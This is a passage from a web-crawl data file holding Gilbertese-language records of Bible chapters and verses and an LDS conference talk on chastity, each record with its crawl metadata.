bootaki aomata aika a mwaiti, ma ngaia are E a aki reke ana tai ma ana reirei ni kamarikeia. 21Ao ana utu Iesu, ngke a ongo, ao a nako bwa a na tauua, ibukina ngke a kaangai aomata, E rangirang. 22Iai taani koroboki ake a roko mai Ierutarem ake a kaangai, E taniaki irouni Beretebubwa, ao E kanakoia taimonio ni mwaakan aia mataniwi taimonio. 23Ao Iesu E weteiia ao E taetae nakoian taeka ni kabootau, ao E kaangai, E na iranna Tatan ni kanakoa Tatan? 24Ngkana e koro-utu te aba teuana, ao a buaka i bon irouia, ao e na mauna arona n tau-taeka. 25Ao ngkana e koroutuuaki te utu teuana, ao a bobuaka i bon irouia, ao e na uruaki rabwatan te utu anne. 26Ma ngaia are ngkana e koroutuuaki uean Tatan, ao e na aki tei matoa ueana, ma e na bwaka ao e na toki. 27Akea ae e konaa n rin n ana auti te aomata ae e aintoa n anai ana bwai, bwa ti ngkana e kabaea moa teuare e aintoa ao ngkanne e a konaa n anai ana bwai ake n ana auti. 28E koaua ae I a tuangkami bwa a na bane ni kabwaraaki buure mai irouia aomata nako ma taetaebuaka ake a taekin; 29ma ane e taekin taeka aika a buaakaka n eekaanako te Taamnei are e Raoiroi iai, ao e na aki konaaki ni kabwaraaki ana bure, bwa e a tia ni karaoa te bure are e aki tootoki. 30E taekin taeka aikai Iesu ibukina ngke a kaangai, Iai te taamnei ae e kamwaraa irouna. 31E roko tinan Iesu ma tarina nako. A tei i tinanikun te auti, ao a kanakoa aia rongorongo bwa a tangira Iesu. 32A tekateka aomata aika a bati i rarikin Iesu, ao a taku nakoina, Tinam ma tarim aika a mena i tinaniku bwa a tangiriko. 33E kaekaia Iesu ni kaangai, Antai tinau ao tariu? 34E taraiia nako ake a tekateka i rarikina, ao E taku, Aikai tinau ma tariu! 35Bwa te aomata ane e karaoa nanon te Atua boni ngaia tariu, ao mwaaneu, ao tinau.\nMAREKO 3","id":"","dump":"CC-MAIN-2014-49","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/3","date":"2014-11-24T20:41:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-49\/segments\/1416400381177.56\/warc\/CC-MAIN-20141119123301-00028-ip-10-235-23-156.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":798,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.471,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ko na ataa aei, bwa ane a na roko taai aika a kamaamate ni boong aika kabaneani boong. 2Bwa ane a na riki aomata bwa taan tangiriia i bon irouia, taani baki-tianti, taani kamoamoaia, taani kainikatonga, taan taetaebuaka, taan aki-ongeaaba nakoia aia karo, taani bangaomata, taani kamwaraai ana bwai te Atua, 3taani babakaine, taani kainamatoa, taani winanti, taan akiako, taan tiritiri, taan ribaa te raoiroi, 4taani kamwanea te aba, taan aki kuba bwa tera ae e na riki i mwiin te baere a karaoia, taan nanorieta, taan tangira riki kukurein nanoia nakon tangiran te Atua; 5aongkoa taan taua te Aro, ma a oti ni maiuia bwa akea nanon tauan te Aro irouia. Ko na tannako mani baikai. 6Iai temwaangina i buakoia aika a kawari aia auti aomata ao a anai nanoia aine aika a akea aia iango ngkai a taonaki n rawaawatani mwiin aia bure aika a bati, ao a kairaki n aeka n naano ni kaibwabwaru aika a bati. 7Aine aika a aki toki ni kani karekei rabakauia, ma e bon aki konaa n reke irouia ataakin te koaua. 8Bwa ai aroia Ianne ma Iambere ngke a eekaanako Mote, ao ai aroia naba aomata aikai n eekaanako te koaua—aomata aika a babanga n iango, ao taan aki onimaki ni koaua. 9Ma ane a na aki maan n aroia anne, ao a na ataaki aroia n nanobaba irouia aomata, n ai aron naba are e riki nakoia Ianne ma Iambere. 10Ma ngkoe, ko a tia n tou mwiin au reirei, ma aroarou, ma oin au kaantaninga, ma au onimaki, ma taotaonan nanou, ma au tangira, ma nanomwaakau, 11ma bwainikiriinau nako, ma marakiu nako, ake a ituai i Antioka, i Ikonio, ao i Rutetera; ake bwainikiriinau ake I taona nanou nako iai; ao E kamaiuai te Uea mani baikai ni kabane. 12Ao ane a na bane ni bwainikiriinaki naba akana a kani kabane aia bong ni maiu n iraorao ma te Atua ngkai a reitaki ma Kristo Iesu; 13ma aomata aika a buaakaka ma aika a mwaamwanaa te aba n aroia n atongiia bwa aomata tabemwaang ngke bon tiaki ngaiia; ane a na rikirake aroia man ae e buaakaka nakon ae e buaakaka riki, ni bureburea te aba ao ni burebureaki i bon irouia. 14Ma ngkoe, ko na tai toki n tauu ni kamatoai baikana ko reireiaki iai, akana ko kakoauai raoi, ngkai ko ataiia ake a reireiniko iai; 15ao ko ataia bwa ma ngke te merimeri ngkoe ao ko a kaman ataa te Baibara ae e tabu, bwa e konako ni kawanawanako ma ni kairiko nakon te kamaiuaki are e reke n onimakinani Kristo Iesu. 16Te Baibara ni kabanea bon ana taeka te Atua, ao e manena ibukin te reirei, ma boaan te bure, ma manga-kaetan te kaairua, ao ibukin te reirei aroni karaoan nanon te Atua: 17bwa e aonga ni konabwai ma ni bobonga raoi nakoni karaoani baika a raraoi ni kabane ana aomata te Atua.\n2 TIMOTEO 3","id":"","dump":"CC-MAIN-2014-49","url":"http:\/\/www.bible.is\/GILBSP\/2Tim\/3","date":"2014-11-24T03:02:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-49\/segments\/1416400380355.69\/warc\/CC-MAIN-20141119123300-00129-ip-10-235-23-156.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":489,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.387,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14I taekina aei ibukina bwa te mwaane ae e aki onimaki e a warekaki bwa temanna ngaia i buakoia ana aomata te Atua ibukin arona ni katiteuanaaki ma buuna; ao te aine ae e aki onimaki e a riki bwa temanna ngaia i buakoia ana aomata te Atua ibukini buuna ngkae e onimaki. Bwa ngkana tiaki arona aei, ao natiia a na katootoong aroia ataei aika natiia beekan; ma ngkana arona aei, ao a butimwaaeaki natiia iroun te Atua.\n1 KORINTO 7:14\nFREE!\nOne App.\n1599 Languages.","id":"","dump":"CC-MAIN-2014-52","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/14","date":"2014-12-28T23:48:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-52\/segments\/1419447559834.31\/warc\/CC-MAIN-20141224185919-00078-ip-10-231-17-201.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":84,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.417,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 2:88Ko kaaki bwaai ni kabane i aani waena. Bwa ngke E kaaki bwaai ni kabane i aana, ao bon akea ae E katikua n aki kaaki i aana. Ma ngkai, ti tuai n noori bwaai ni kabane i aana. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-52","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/8","date":"2014-12-26T15:45:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-52\/segments\/1419447549371.17\/warc\/CC-MAIN-20141224185909-00034-ip-10-231-17-201.ec2.internal.warc.gz","language":"gil","language_score":0.9999558926,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.9999558925628662}","num_words":55,"character_repetition_ratio":0.167,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17Ami onimaki ma ami mwakuri aika kam karaoi bwa kaanga ibonga ai aron te karea nakon te Atua; ao tao N na kamateaki, ao n te aro aei N na riki bwa ai aron te karea are te raraa are e kabwaroaki i aon te karea. Ngkana arona bwa e riki aei, ao N na boni kimwaareirei, ao N na kimwarerei ma ngkami;\nBIRIBI 2:17\nFREE!\nOne App.\n1599 Languages.","id":"","dump":"CC-MAIN-2014-52","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/2\/17","date":"2014-12-19T16:04:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-52\/segments\/1418802768724.86\/warc\/CC-MAIN-20141217075248-00144-ip-10-231-17-201.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":68,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao e roko temanna mai buakoia anera ake itiman ake iai irouia boora ake itiua, ao a taetae nakoiu, ni kaangai, Mai ikai; N na kaota nakoim motikan taekan te kabekaau are e kakannato are e tekateka i aon raan aika a bati; 2are a wene ni bure ma ngaia uean aonnaba, ao are a manging irouna kaain aonnaba ni wainin ana wene ni bure. 3Ngke I mena i aani mwaakan ana kairiiri te Taamnei, ao E uotai nakon te rereua; ao I noora te aine ae e tekateka i aon te man ae e uraura ae e tiritiri, aika a mena i aon rabwatana ni kabutaa aara ni bakanatua, ao itiua atuna, ao tengauni korona. 4Ao e kunnikaiaki te aine arei n te ura-ro ma te uraura, ao e katamaaroaaki ni bwaai ni katamaaroa aika koora ma atiibu aika a kakaawaki ma moomii; ao iai te mwangko ae te koora i nanoni baina, ae te mwangko ae e on ni baika a riai ni bati n ribaaki, ma baika a kammaira aika bwain ana wene ni bure; 5ao e koreaki i aon ramwana te ara ae iai nanona ae e raba, ao e kaangai te ara arei: 6Ao I noora te aine arei bwa e manging n raraaia aomata ake a itiaki, ma raraaia ake a kamateaki ibukin onimakinan Iesu. Ngke I noora neierei, ao I rangi ni miimii. 7Ao e kaangai te anera nakoiu, Ko aera ngkai ko mimi? N na tuangko nanon te baere e raba are ibukin te aine ma te man are e tiritiri are e uota neierei, ae te man are itiua atuuna ao tengauni korona. 8Te man are ko nooria bon iai ngkoa, ma akea ngkai: ao e nangi rierake mai Abuto, ma n nako n te kamateaki. Ao a na miimii akana a maeka i aon te aba, akana aki koreaki araia ni bokin te maiu ma ngke a moani karikaki aonnaba, ngkana a noora te man arei bwa bon iai ngkoa ma akea ngkai, ao bwa e na manga kaoti. 9Aio nanona nakon ane iai nanona ae e rabakau: atuu ake itiua boni maunga aika itiua aika e tekateka iai te aine; ao bon ueea aika itiman. 10A bwaka niiman i buakoia man nakoaia n uea, ao e teimatoa uean temanna, ao are temanna e tuai n roko; ao ngkana e roko, ao e na uea i nanon te tai ae e aki maan. 11Ao te man are iai ngkoa ma akea ngkai, bon te kawaniman, are temanna i buakoia ake itiman; ao e nako n te kamateaki. 12Ao kooro ake tengaun, ake ko noori, bon ueea aika tengaun, aika a tuai n reke ueaia; ma a anganaki te mwaaka n tau-taeka ngkai kaanga ueea, ti teuana te aoa, ni buoka ana tau-taeka te man arei. 13Ti teuana nanoia, ao a angan te man arei mwaakaia ma aia tau-taeka. 14Ane a na buakana te Tiibuteteei, ao a na konaaki aoia iroun te Tiibuteteei ma raona ake a weteaki ma n rineaki ake a kakaonimaki, bwa kioina ngkai te Tiibuteteei bon aia Uea ueea ao aia Kiing kiing. 15Ao e kaangai naba nakoiu, Raan ake ko noori, ike e tekateka iai te kabekaau arei, bon natanaomata, ma koraki n aomata aika a bati, ma bootanaomata, ma aomata nako aika a kakaokoro aia taetae. 16Ao kooro ake tengaun, ake ko noori, ma te man arei, a na ribaa te kabekaau, ao a na kuribwaia n anai ana bwai ni kabaabanei, ma ni katikua n akea karabaana; ao a na kana irikona, ao a na kabuokia n te ai. 17Bwa E a tia te Atua ni kaaki i nanoia te kani karaoa ana kaantaninga n te nano ae ti teuana, ao n aroia n anga mwaakaia n tau-taeka nakon te man arei, ni karokoa ae a kakoroaki raoi nanon ana taeka te Atua ake a tia n taekinaki. 18Ao te aine are ko nooria bon te kaawa are e kakannato are e tautaeka i aoia ueea i aonnaba.\nTE KAOTIOTI 17","id":"","dump":"CC-MAIN-2015-14","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/17","date":"2015-03-28T04:17:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-14\/segments\/1427131297195.79\/warc\/CC-MAIN-20150323172137-00269-ip-10-168-14-71.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":666,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10785_859_28bednarTe ongotaeka nakon tuan te itiaki e na kakorakora kukureira n te maiu ae mamate ao ni kariaia ara waaki n aki toki.\nAu rongorongo e na kaeka te titiraki n tamnei ae moan te kakawaki. Ibukin tera e rangin ni kakawaki tuan te itiaki? I tataro bwa te Tamnei ae Raoiroi e na kamatoa koauan taian koaua ake I katuruturui.\nAna Babaire ni Kakukurei te Tama\nKakawakin te itiaki e kona n ataaki rinanon ana Babaire ni Kakukurei Tamara are i Karawa ibukiia Natina ae nano riki. \"Ni kabane—mwaane ao aine—a karikaki ni katotongan te Atua. Ngaiia naati mwaane ao aine n tamnei aika tangiraki irouia kaaro i karawa, ao … iai rikiia ao tokin kawaiia\" (\"Te utu: Te Katanoata nakon te Aonaaba,\" Ensign ke Riaona, Nobembwa. 2010, 129). Mwaane ao aine a maeka ma te Atua bwa Natina n tamnei imwain ruoia nakon te aonaaba n rabwataia ae mamate. Ana babaire te Tama e kariaia natina mwaane ao aine bwa a na karekei rabwataia, ni karekei atatai n te maiu aei, ao ni waaki nako nakon te karietataaki.\nKakawakin te Rabwata\nRabwatara aikai a karekeaki bwa ti na kona ni karekei atatai aika nano ao ni korakora ae aki kona ni karekeaki ni maiura imwain te maiu aei. Ngaia, ae ara reitaki ma aomata tabeman, ara konabwai n ikikina ao ni mwakuri ni kaineti ma te koaua ao ara konabwai n iri reirei ao otenanti n ana euangkerio Iesu Kristo a kanakoraoaki rinanon maiura n rabwata. Ngkai ti a riki n rabwata, ti rinanon te ongeaba, te tangira, te akoi, te nanokawaki, te un, te maraki, ao riki kakaewenako ni kawai aika a na katauraoira nakon te maiu ae akea tokina. A taekinaki n ae bebete, iai reirei aika ti riai n reirei ao atatai aika ti riai ni karekei, n aron are e kamatataki ni booki aika tabu, \"ngkai te aomata naba ngai\" (1 Nibwaai 19:6; Aramwa 7:12–13).\nTe Mwaaka Ni Karikiia Ataei\nImwin karikan te aonaaba, e kaakaki Atam n te Ne n aroka are i Eten. Ma e kakawaki riki, e taku te Atua \"e aki riai te aomata aei ni mena n ti ngaia\" (Moses 3:18; taraa naba Karikan Bwaai 2:18), ao Ewa e riki bwa buun Atam ao te tia buokia. Bootakin te tamnei, rabwata, iango, ao te reitaki ae kakukurei irouia mwane ao aine e kainnanoa kakoroan nanon te babaire ni kakukurei. \"Ma akea naba te mwaane ngkana akea te aine, ti tebo naba ma te aine ngkana akea te mwaane, i nanon te Uea\" ((1 I-Korinto 11:11). Te mwaane ao te aine a kantaningaki n reireiniia, kakorakoraiia, kakabwaiia, ao n riki n ti te irikona.\nAre e nanonaki ni karikan te maiu ae mamate bwa e karaoaki ma i karawa. \"Te moan tua … te Atua e angan Atam ao Ewa ni kaineti ma tauia n nakoaia ni karo bwa te bumwane ao te buaine\" (Ensign ke Riaona, Nobembwa. 2010, 129) .Te tua ni kamwaita ao ni kaona te aonaaba e teimatoa ni karaoaki n te bong aei. Ngaia ae, te mare imarenan te mwaane ao te aine bon te kawai ae kariaiakaki are a rin iai tamnei imwain te maiu aei nakon te maiu ae mamate. Te aki wenenibure imwain te mare ao te kororaoi n tain te mare e katabua mimitongin te kawai ae tabu aei.\nTe mwaaka ni karikiia ataei e kakawaki n te maiu n tamnei. Aki kabonganaan raoi te mwaaka aei e na kona n urui kantaninga n ana babaire te Tama ao n rikira n te maiu ae mamate aei. Te Tama are i Karawa ao Natina ae Tangiraki bon taan karikibwai ao a tia n onimakiniira ma mwakoron Mwakaia ni karikibwai. Kainibaire ibukin kabonganan raoi te konabwai ni karika te maiu bon mwakoron ana babaire te Tama aika kakawaki. Ti kanga n namakina ao ni kabongana te mwaaka ma i Karawa anne e na bairei kukureira n te maiu ae mamate ao ara tabo n te maiu are akea tokina.\nE kabwarabwaraa Unimwaane Dallin H. Oaks:\n\"Te mwaaka ni kariki bon mwaakan te Atua ae moan te rietata ae a tia n anganiia natina. Kabonganakina e kariaiakaki n te moan tua, ma te tua riki teuana e totokoa aki kabonganakina raoi. Te bwai ae kakawaki iaon tuan te itiaki e kabwarabwaraaki man otara n te kantaninga n te mwaaka ni karikiia ataei bwa kanga mwakoron kakoroan nanon a na babaire te Atua. …\n\"Itinanikun te kabaebae n te mare, ni kabane kabonganaan te mwaaka ni karikiia ataei bon te bure ae kakaiaki ao karaoan te bure ae aki tau ni katein te mwane ao te aine n Atua.\" (\"The Great Plan of Happiness,\" Ensign, Nobembwa. 1993, 74).\nTe Kainibaire n te Iein ae Riai\nIai ana kainibaire Ana Ekaretia Iesu Kristo Ibukiia Aika Itiaki Ni Boong Aika Kaitira, ae akea tokina iaon te iein ae riai: te reitaki ae itiaki ti imarenan te mwane ao te aine n te mare are e taekinaki n ana baire te Atua. Reitaki aikanne bon tiaki ti te nano ni kan ukoukora bwaruana ni kakukureiko, ke te aeka ni kakakibotu ke te bwai ni kamataku ae reke man te babakanikawai. Tiaki bwaai aika a na kakoroaki bukiia ke te mwakuri ae na karaoaki. Ma, a mena n te maiu n rabwata ni kabwarabwaraan arora mai karawa ao ara konabwai ao aron kamatatan ara namakin n te kabaebae n tamnei imarenan te bumwaane ao te buaine. Ngaira bon taan ibuobuoki aika kakabwaiaki ma rinerine aika riai ao aron bwaibwaira mai karawa ngkai natin te Atua—ao tiaki n te aro ni wenenibure ke ni katei ao tuua aika a boou, ke katein te aonaaba.\nTe Aro n Aomata\nN tabetai, te aro n aomata are e kamatataki iroun te Uea Beniamina e maiu ao n nakoraoi inanora ni kabane Motiaea 3:19). Te aro ni mwaane ke n aine e aki raira nanona, e taua oin nanona n ana namakin n rabwata Motiaea 16:5; Aramwa 42:10; Moses 5:13), e waaki inanona ao n riao, ao e kamoamoa ao ni kairiribai. Ngke e reirei Beretitenti Spencer W. Kimball, \"Te 'aro n aomata' bon 'aomatan te aonaaba' are e kariaia maan n rabunna ma aki ongeaban tamneina\" (\"Ocean Currents and Family Influences,\" Ensign, Nobembwa. 1974, 112).\nNi kaitaraana, ana \"aomata Kristo\" (Ereman 3:29) iai irouna te tamnei ao n tataona angin ana namakin (taraa Aramwa 38:12), e taotaona nanona ao e tararuaia i bon irouna, e tangiria ao e aki tabeakinna i bon irouna. Natin Kristo mwaane ao aine a taui ana taeka te Atua, ke a kakea n taona nanoia ao ke a tabeka Ana kaibangaki (taraMataio 16:24; Mareko 8:34; Ruka 9:23; D&C 56:2), ao e waaki n te kawai ae eti man irariki ni kawain te onimaki, ongotaeka, ao n anganano nakon te Tia Kamaiu ao Ana euangkerio.\nNgkai ngaira natin te Atua mwaane ao aine, ti karekei ara konabwai ni bungiakira mai Irouna. Ma ti maeka n te aonaaba ae kai bwaka. Teuana bukina ngkai a karikaki rabwatara bon man te bwaka n rabwata ao n rinanon ana kairoro te bure, te mangaongao, ao te mate. Ibukin aei, Bwakan Atam ao mwiin ana mwakuri n tamnei ao n rabwata a rotira n angiin te tai rinanon rabwatara. E ngae n anne ngaira aomata aika uoua mwakorora bwa ibukin tamneira mwakorora ae akea tokina e maeka n rabwatara are e kona ni kairiira nakon te Bwaka. N aron are e kamatata Iesu nakon te Abotoro Betero, \"E konamaki te Tamnei, ma e mamara te iriko\" ( Mataio 26:41).\nTe kataaki n te maiu ae mamate, ngkanne, e kona ni kamatataki n te titiraki aei: N na kaeka te nano ni karaoa te bure n te aro n aomata, ke N na ongo nakon ana wirikiriki te Tamnei ae Raoiroi ao ni katuka te aro n aomata n riki bwa te aomata ae itiaki rinanon Ana Mwakuri ni Kamaiu Kristo te Uea (taraMotiaea 3:19)? Anne te kataaki. A kona naano, naano n totoko, ao te nano n aomata ni katokaki man ao rinanon Ana Mwakuri ni Kamaiu Iesu Kristo. Ti roko nakon te aonaaba aei bwa ti na karikirakea te anua n Atua ao n taotaona angin te namakin n iriko.\nNanon te Tia Kakaitara\nAna baire te Tama e karaoaki ni katauraoan kaetieti ibukiia Natina, ni kukureia, ao ni kairiia Nakoina n okira mweengana n rabwata aika kautaki ao ni karietataaki. E kantaningaia te Tama are i Karawa bwa ti na bane n oota ao ni kaonaki ma te kantaninga. Ni kaitaraana, e mwakuri korakora Rutibeero ni karikiia natin te Atua mwaane ao aine ni kamangaoiia n aki kukurei ao n tuuka rikirakeia n aki toki. Ana kantaninga Rutibeero bwa ti na riki bwa \"karawawataia aomata n ai arona\" (2 Nibwaai 2:27). E tangiriira Rutibeero bwa ti na tiku n te rotongitong ao n akea ara kantaninga.\nE mwakuri korakora Tatan n urua teuana mwakoron ana babaire te Tama ae moan te kakawaki. Akea rabwatana, ao rikirakena n akea tokina e a tia n tauaki. Kanga ai aron te ran aei ni biri i kabin te karanga are e katokaki n te taem, ngaia ae rikiraken te tia kakaitara n akea tokina e tauaki ibukina bwa akea rabwatana n aomata. Ibukin ana kakaitara, e a tia Rutibeero n aki karekei kakabwaia n te maiu ae mamate ao atatai aika kona n riki rinanon te iriko ao te ri. E aki kona n reiakina te reirei are ti te rabwata n tamnei ae kona n reiakinna. E un ni karekean koauan kamaiuaia aomata ni kabane. Teuana nanon te taeka damned ni booki aika tabu e kaotaki n ana aki konabwai n rikirake ao n riki n aron Tamara are i Karawa.\nIbukina bwa e rangin ni kakawaki te rabwata n ana babaire ni kakukurei te Tama ao n rikirakera n tamnei, Rutibeero e ukoukora angan kamaunakina man Anakin nanora ni kabonganai rabwatara n te aro ae aki riai. Teuana te kaitara akea tokina bwa te tia kakaitara, ae kamimi ibukina bwa akea rabwatana, e anai nanora n tibwauaia n aki kukureina rinanon aki kabonganakin raoi rawatara. Te bwai ni mwakuri ae akea irouna bon ana takete ni kataia n anai nanora nakon uruakin tamneira.\nUruakan tuan te itiaki bon te bure ae kakaiaki ao aki kabonganakin raoi rabwatara. Nakoia naake a ataia ao a oota n te baire ni kamaiu, kabarekaan te rabwata bon kaotan te kakaitara Motiaea 2:36–37; D&C 64:34–35) ao aki kabonganaan raoi kinakira ngaira natin te Atua mwaane ao aine. Ngkana ti taraa riaon te maiu ae mamate nakon are akea tokina, e bebete kinakina bwa te iraorao ae bure ae boutokaaki n te kakaitara ae uarereke taina ao akea nanona.\nKakabwaia n te Aro n Itiaki\nE reireina natina Aramwa te mwaane ae Tiburon n \"taotaona angin [ana] namakin, bwa [e] na kaonaki n te tangira(Aramwa 38:12). Ae kakawaki, boakin te aro n aomata inanora e kona ni kamwaita, ni kakorakora, ao kateimatoa tangiran te Atua ao Natina. E rikirake te tangira ngkana ti kawakina raoiroira ao e kerikaki ngkana ti kariaia te kataaki.\nBeretitenti Marion G. Romney e katanoata:\n\"I kona n iangoi kakabwaia aika akea bwa a na korakora riki tangiraia nakon ake a beritanaki nakoia aika itiaki ao n tamaroa. E taetae Iesu ibukin kaniwanga aika onoti ibukin tamaroa aika kakaokoro ma e katuka te korakora, ibukin te nano ae itiaki, 'bwa,' e taku, 'a na nora te Atua' (Mataio. 5:8). Ao tiaki ti nooran te Uea, ma ana namakina te mwengaraoi n rokona.\n\"Aio … ana berita te Tia Kamaiu: Ngkana ti kariaia te tamaroa bwa e na kanakoraoi ara iango n aki toki; ngkanne ara koaua e na rikirake ni matoatoa imatan te Atua (D&C 121:45)\" (\"Trust in the Lord,\" Ensign,Ensign, Meei 1979, 42).\nTi berita naba bwa, ngkana ti toua kawain te tamaroa, te Tamnei ae Raoiroi e na riki bwa [raora] n tainako (tara (D&C 121:46). Ngaia ae, maiuakinan tuan te itiaki e kaoi tabeua kakabwaia aika korakora aika a kona ni karekei mwaane ao aine n te maiu ae mamate: koaua n te tamnei aika riai imatan te utu, raoraora, raora n te Ekaretia, ao, te kabane, bon te Tia Kamaiu. Nanora ni kani kainna e kakoroaki nanona n te etieti ngkana ti nakonako n te oota ma te kantaninga.\nTe Reirei Iaon te Rairannano\nTabeman a karekea te rongorongo ni kainnanoa te rairannano man te wenenibure ke buure riki tabeua. Te Tia Kamaiu e atongaki bwa te Tia Katoki aoraki, ao te nakoa ae kakawaki ae kanikinaeaki ao ni koaua. Ti bane n rinanon te maraki ni kaineti ma te ikoaki ke te maneka. Ngkana ti maraki, ao ti ukora te kamaiuaki ao ni kaitau ibukin te bwainaoraki ao katokana are e ibuobuoki ni katoka te maraki. Iangoa te bure bwa te ikoaki n te tamnei are e karika te kairua ke, n aron are e kamatataki iroun Aramwa nakon natina te mwaane ae Korianton, \"namakin ae kananokawaki\" (( Aramwa 42:18). Mwin ara kairua nakon tamneira ti tebo ma mwin te maraki n rabwata—te kairua bon te kauring n te kanganga ao te kamanomano man te uruaki ae na manga riki. Man Ana Mwakuri ni Kamaiu te Tia Kamaiu ao e roko te kabira ni karekean te rau are e na kamaoa manekara n tamnei ao ni kaitiaki ara bure. N anne, ao e kona te kabira aei ni kabonganaki rinanon reirei n onimaki iroun te Uea Iesu Kristo, rairannano, ao te teimatoa n onimaki. Mwiin te rairannano bon te rau n atakin te eti ao te bure, te rau, ao kamaiuan te tamnei ao te kabouaki.\nAm bitiobi ke am beretitenti n te mwaanga bon te tia ibuobuoki ni katokan te aoraki n te tamnei are e kariaiakaki bwa e na buokiko n rairananom ao ni kamaiu. Taiaoka n uringa, bwa mwaitin ao korakoran am rairannano e na kaitara taekan ao korakoran am bure—riki ibukiia Aika Itiaki Ni Boong Aika Kaitira aika a tia ni karekea te berita. Maneka n tamnei a tangira te bwai n aoraki ao te tai ae teimatoa bwa e na kamaiuaki ni kabwaninaki.\nTe Berita ao te Kakoaua\nTe reirei are I kabwarabwara e na taraa n rangin ni maan ao ni bwakanako taina nakoia aomata aika mwaiti n te aonaaba are e rikirake ni bwainingarea kakawakin karikaia ataei ao ni kauarerekea kakawakin maiun te aomata. Ma ana koaua te Uea e aki bitaki man te bwai ae kinaki, kinakina, ke aia iango aomata man te rinerine. I berita bwa te ongotaeka nakon tuan te itiaki e na kakorakora kukureira n te maiu ae mamate ao ni kariaia ara waaki n aki toki. Itiaki ao te tamaroa a tia ngkai, n riki n tainako \"bwa te bwai ae moan te tangiraki ma ni kakawaki iaon bwaai nako\" (Moronaai 9:9). I kakoaua n aran te Uea ae tabu Iesu Kristo, amen.\nSitio web oficial de La Iglesia de Jesucristo de los Santos de los Últimos Días\n© 2015 Intellectual Reserve, Inc. Todos los derechos reservados","id":"","dump":"CC-MAIN-2015-18","url":"https:\/\/www.lds.org\/general-conference\/print\/2013\/04\/we-believe-in-being-chaste?lang=spa&clang=gil","date":"2015-05-04T07:20:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-18\/segments\/1430453921506.38\/warc\/CC-MAIN-20150501041841-00079-ip-10-235-10-82.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2454,"character_repetition_ratio":0.053,"word_repetition_ratio":0.011,"special_characters_ratio":0.227,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9Ngke I mena iroumi ao I bon aki karawaawata temanna ngkana iai te bwai ae I kainnanoia: bwa te bae I kainnanoia e a reke mai irouia taari ake a nako mai Mwaketonia. I a tia ni kaawakinai bwa N na aki riki bwa te bwai ni karawaawata ngai nakoimi ni bwaai ni kabane, ao N na manga boni kaawakinai naba maiai.\n2 KORINTO 11:9\nFREE!\nOne App.\n1606 Languages.","id":"","dump":"CC-MAIN-2015-18","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11\/9","date":"2015-04-19T04:47:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-18\/segments\/1429246637445.19\/warc\/CC-MAIN-20150417045717-00043-ip-10-235-10-82.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":67,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I atongi baikai nakoimi bwa a aonga n aki bua ami onimaki. 2Ane kam na tuukaki bwa kam na aki manga roko ni mwaneabaia I-Iutaia, ao e na roko te aoa are e na taku iai ane e kamateingkami bwa ngke e karaoa aei, ao e karaoia ibukin 